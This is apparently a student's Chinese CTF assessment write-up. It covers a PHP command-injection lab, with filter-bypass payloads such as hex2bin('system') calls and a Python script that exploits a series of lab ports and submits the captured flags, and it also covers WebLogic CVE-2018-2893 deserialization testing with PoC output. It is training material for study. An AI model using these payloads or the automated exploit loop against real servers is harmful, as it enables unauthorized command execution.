吴镇洋-寒假考核wp

希望yyz能带带我这个菜鸡,让我跟着一起学 $\overset{stO}{\overset{stO}{\overset{stO}{stO}}}\overset{stO}{\overset{stO}{stO}}stO\ xiaoyaovo\ Orz^{\overset{Orz}{Orz}\overset{Orz}{Orz}}_{\overset{Orz}{Orz}\overset{Orz}{Orz}}$

第一个命令执行的题很早就做了，

第二个渗透知道是哪个cve之后，发现要分析java反序列化调用链，因为要hw面试，又太菜了，要临时抱佛脚，就没看了，看到yyz说渗透更新hint了，就来看一下（但发现hint并没有解锁），分析了一下，还没能写出自己的poc，本地起环境的话用vulhub的cve-2018-2894也是一样的，但是源码上分析好像得反编译jar包，我还没进行。

[TASK1]AWD自动攻击模拟

Level-0

题出的不难，ban的很少，方法很多。命令执行函数都没ban完，.被ban了拼接不行，但可以用hex2bin类似于love_math的思路，或者(""|"")()特殊字符进行或/异或操作,来执行命令;

比较难的情况是同时ban了()和``

下面给出其中两个payload

```
hex2bin(%2773797374656d%27)(%27nl%09/fl??%27);
```

```
passtru(%27ca\t%09/fl??%27);
```

Level-1、-2

```
import requests
import re
cmd=r"hex2bin(%2773797374656d%27)(%27nl%09/fl??%27);"

for i in range(12345,12355):
    a=requests.get("http://172.23.26.66:"+str(i)+"/?cmd="+cmd)
    print(a.text)

    b=a.text
    b=re.search(r'\bflag{\w{32}}',b)
    print(b.group())
    flag=b.group()

    payload="myflag="+flag
    print(payload)

    url = "http://172.23.26.66:10001/submit.php"
    headers = {
      'Content-Type': 'application/x-www-form-urlencoded'
    }
    c = requests.post(url, headers=headers, data=payload)
    print(c.text)
    print()
```

```
flag藏在/flag<br>     1 flag{92195f0647a987c0aeb663a30dc413b1}
flag藏在/flag<br>     1 flag{58d4a3fc5e0d28b5c368aa98f0a91e1b}
flag藏在/flag<br>     1 flag{d93c53c6d835369e6dbec1194df9c931}
flag藏在/flag<br>     1 flag{7aaa4b897ed74afd3a225c0ad0d5acdb}
flag藏在/flag<br>     1 flag{b3c08682087210d3ee53a04bacc68ee4}
flag藏在/flag<br>     1 flag{bfd187e0481cdd3158d3f8f2af479df0}
flag藏在/flag<br>     1 flag{6b54da361b87365dbf1bf3ffa277b9a9}
flag藏在/flag<br>     1 flag{edd045c7429a026035ad61525845c380}
flag藏在/flag<br>     1 flag{cb39b400c209db323e0a69c6bc01dd8b}
flag藏在/flag<br>     1 flag{4cbde8d7205fd1cfa3d0242fe1acc4b1}
```

```
flag{92195f0647a987c0aeb663a30dc413b1}
myflag=flag{92195f0647a987c0aeb663a30dc413b1}
恭喜你，成功攻下 ctf1 的服务器！获得100分！

flag{58d4a3fc5e0d28b5c368aa98f0a91e1b}
myflag=flag{58d4a3fc5e0d28b5c368aa98f0a91e1b}
恭喜你，成功攻下 ctf2 的服务器！获得100分！

flag{d93c53c6d835369e6dbec1194df9c931}
myflag=flag{d93c53c6d835369e6dbec1194df9c931}
恭喜你，成功攻下 ctf3 的服务器！获得100分！

flag{7aaa4b897ed74afd3a225c0ad0d5acdb}
myflag=flag{7aaa4b897ed74afd3a225c0ad0d5acdb}
恭喜你，成功攻下 ctf4 的服务器！获得100分！

flag{b3c08682087210d3ee53a04bacc68ee4}
myflag=flag{b3c08682087210d3ee53a04bacc68ee4}
恭喜你，成功攻下 ctf5 的服务器！获得100分！

flag{bfd187e0481cdd3158d3f8f2af479df0}
myflag=flag{bfd187e0481cdd3158d3f8f2af479df0}
恭喜你，成功攻下 ctf6 的服务器！获得100分！

flag{6b54da361b87365dbf1bf3ffa277b9a9}
myflag=flag{6b54da361b87365dbf1bf3ffa277b9a9}
恭喜你，成功攻下 ctf7 的服务器！获得100分！

flag{edd045c7429a026035ad61525845c380}
myflag=flag{edd045c7429a026035ad61525845c380}
恭喜你，成功攻下 ctf8 的服务器！获得100分！

flag{cb39b400c209db323e0a69c6bc01dd8b}
myflag=flag{cb39b400c209db323e0a69c6bc01dd8b}
恭喜你，成功攻下 ctf9 的服务器！获得100分！

flag{4cbde8d7205fd1cfa3d0242fe1acc4b1}
myflag=flag{4cbde8d7205fd1cfa3d0242fe1acc4b1}
恭喜你，成功攻下 ctf10 的服务器！获得100分！
```

[TASK2]超简单的渗透

Level-0

一开始看了404，还以为网页无了，，问了之后说是正常的，就以404特征搜了一下，搜出了CVE-2017-10271，但是访问目录/wls-wsat/CoordinatorPortType11不存在，再试了下检测poc

```
root@kali:~/Desktop/tools/web/weblogic/cve-2017-10271# java -jar cve-2017-10271_
poc.jar -u http://172.23.26.66:7001/

[05:04:30] [-] 漏洞不存在 http://172.23.26.66:7001/
```

不是CVE-2017-10271

Level-1

访问/console，想弱密码梭一波，没梭出来，看了一下版本12.2.1.3.0

再搜了一下发现了**cve-2018-2893**，通过反序列化来RCE。

试了一下poc，发现确实是这个漏洞

```
root@kali:~# python 2.py 172.23.26.66 7001
[+] testing target
[+] send request payload successful,recv length:1757
[+] 172.23.26.66:7001 is vul CVE-2018-2893
root@kali:~#
```

漏洞产生于WebLogic T3服务，当开放WebLogic控制台端口（默认为7001端口）时，T3服务会默认开启。T3协议会调用ReadObject方法，而sun.reflect.annotation.AnnotationInvocationHandler重写了ReadObject反序列化的方法，使得ReadObject会调用MapEntry的SetValue方法，从而走上链条，最终走到目的的执行任意命令的方法，InvokerTransformer中的transform方法。

可以用ysoserial一把梭

具体大佬的分析过程←

剩下的没时间写了，太菜了。。过几天写笔记补上 orz